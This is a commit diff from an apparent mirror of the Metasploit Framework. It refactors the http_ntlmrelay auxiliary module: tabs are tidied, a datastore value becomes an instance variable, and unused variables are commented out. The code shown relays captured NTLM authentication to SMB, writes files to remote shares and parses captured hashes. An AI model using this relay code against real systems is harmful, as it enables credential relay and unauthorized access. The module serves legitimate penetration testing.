infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Clean up tabs, warnings, modified datastore

bug/bundler_fix
James Lee 2013-10-04 12:20:03 -05:00
parent c9cebfb3f0
commit 8b8422172f
1 changed files with 20 additions and 21 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

41
modules/auxiliary/server/http_ntlmrelay.rb
View File

@ -91,7 +91,6 @@ class Metasploit3 < Msf::Auxiliary
when 'OPTIONS' when 'OPTIONS'
process_options(cli, request) process_options(cli, request)
else else
datastore['REQUEST_IP'] = cli.peerhost
cli.keepalive = true; cli.keepalive = true;
# If the host has not started auth, send 401 authenticate with only the NTLM option # If the host has not started auth, send 401 authenticate with only the NTLM option
@ -237,10 +236,10 @@ class Metasploit3 < Msf::Auxiliary
print_error("PUTDATA and FILEPUTDATA cannot both contain data") print_error("PUTDATA and FILEPUTDATA cannot both contain data")
raise ArgumentError raise ArgumentError
elsif datastore['PUTDATA'] != nil elsif datastore['PUTDATA'] != nil
datastore['FINALPUTDATA'] = datastore['PUTDATA'] @finalputdata = datastore['PUTDATA']
elsif datastore['FILEPUTDATA'] != nil elsif datastore['FILEPUTDATA'] != nil
f = File.open(datastore['FILEPUTDATA'], "rb") f = File.open(datastore['FILEPUTDATA'], "rb")
datastore['FINALPUTDATA'] = f.read @finalputdata = f.read
f.close f.close
end end
@ -274,7 +273,7 @@ class Metasploit3 < Msf::Auxiliary
if (method == 'POST') if (method == 'POST')
theaders << 'Content-Length: ' << theaders << 'Content-Length: ' <<
(datastore['FINALPUTDATA'].length + 4).to_s()<< "\r\n" (@finalputdata.length + 4).to_s()<< "\r\n"
end end
# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc # HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
@ -297,10 +296,10 @@ class Metasploit3 < Msf::Auxiliary
'method' => method, 'method' => method,
'version' => '1.1', 'version' => '1.1',
} }
if (datastore['FINALPUTDATA'] != nil) if (@finalputdata != nil)
#we need to get rid of an extra "\r\n" #we need to get rid of an extra "\r\n"
theaders = theaders[0..-3] theaders = theaders[0..-3]
opts['data'] = datastore['FINALPUTDATA'] << "\r\n\r\n" opts['data'] = @finalputdata << "\r\n\r\n"
end end
opts['SSL'] = true if datastore["RSSL"] opts['SSL'] = true if datastore["RSSL"]
opts['raw_headers'] = theaders opts['raw_headers'] = theaders
@ -326,12 +325,12 @@ class Metasploit3 < Msf::Auxiliary
#relay ntlm type1 message for SMB #relay ntlm type1 message for SMB
def smb_relay_toservert1(hash) def smb_relay_toservert1(hash)
rsock = Rex::Socket::Tcp.create( rsock = Rex::Socket::Tcp.create(
'PeerHost' => datastore['RHOST'], 'PeerHost' => datastore['RHOST'],
'PeerPort' => datastore['RPORT'], 'PeerPort' => datastore['RPORT'],
'Timeout' => 3, 'Timeout' => 3,
'Context' => 'Context' =>
{ {
'Msf' => framework, 'Msf' => framework,
'MsfExploit'=> self, 'MsfExploit'=> self,
} }
) )
@ -356,7 +355,7 @@ class Metasploit3 < Msf::Auxiliary
begin begin
#lazy ntlmsspblob extraction #lazy ntlmsspblob extraction
ntlmsspblob = 'NTLMSSP' << ntlmsspblob = 'NTLMSSP' <<
(resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) << (resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
"\x00\x00" "\x00\x00"
rescue ::Exception => e rescue ::Exception => e
@ -369,7 +368,7 @@ class Metasploit3 < Msf::Auxiliary
#relay ntlm type3 SMB message #relay ntlm type3 SMB message
def smb_relay_toservert3(hash, ser_sock) def smb_relay_toservert3(hash, ser_sock)
arg = get_hash_info(hash) #arg = get_hash_info(hash)
dhash = Rex::Text.decode_base64(hash) dhash = Rex::Text.decode_base64(hash)
#Create a GSS blob for ntlmssp type 3 message, encoding the passed hash #Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
@ -426,7 +425,7 @@ class Metasploit3 < Msf::Auxiliary
ser_sock.client.tree_connect(share) ser_sock.client.tree_connect(share)
fd = ser_sock.open("\\#{path}", 'rwct') fd = ser_sock.open("\\#{path}", 'rwct')
fd << datastore['FINALPUTDATA'] fd << @finalputdata
fd.close fd.close
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written" logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
@ -538,7 +537,7 @@ class Metasploit3 < Msf::Auxiliary
response = dcerpc.call(0x0c, stubdata) response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20] svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4] #svc_status = dcerpc.last_response.stub_data[24,4]
end end
rescue ::Exception => e rescue ::Exception => e
print_error("Error: #{e}") print_error("Error: #{e}")
@ -629,7 +628,7 @@ class Metasploit3 < Msf::Auxiliary
nt_len = ntlm_hash.length nt_len = ntlm_hash.length
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
:lm_hash => lm_hash, :lm_hash => lm_hash,
:nt_hash => ntlm_hash :nt_hash => ntlm_hash
} }
@ -640,11 +639,11 @@ class Metasploit3 < Msf::Auxiliary
#if the length of the ntlm response is not 24 then it will be bigger and represent #if the length of the ntlm response is not 24 then it will be bigger and represent
#a ntlmv2 response #a ntlmv2 response
elsif nt_len > 48 #lmv2/ntlmv2 elsif nt_len > 48 #lmv2/ntlmv2
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
:lm_hash => lm_hash[0, 32], :lm_hash => lm_hash[0, 32],
:lm_cli_challenge => lm_hash[32, 16], :lm_cli_challenge => lm_hash[32, 16],
:nt_hash => ntlm_hash[0, 32], :nt_hash => ntlm_hash[0, 32],
:nt_cli_challenge => ntlm_hash[32, nt_len - 32] :nt_cli_challenge => ntlm_hash[32, nt_len - 32]
} }
elsif nt_len == 0 elsif nt_len == 0
print_status("Empty hash from #{host} captured, ignoring ... ") print_status("Empty hash from #{host} captured, ignoring ... ")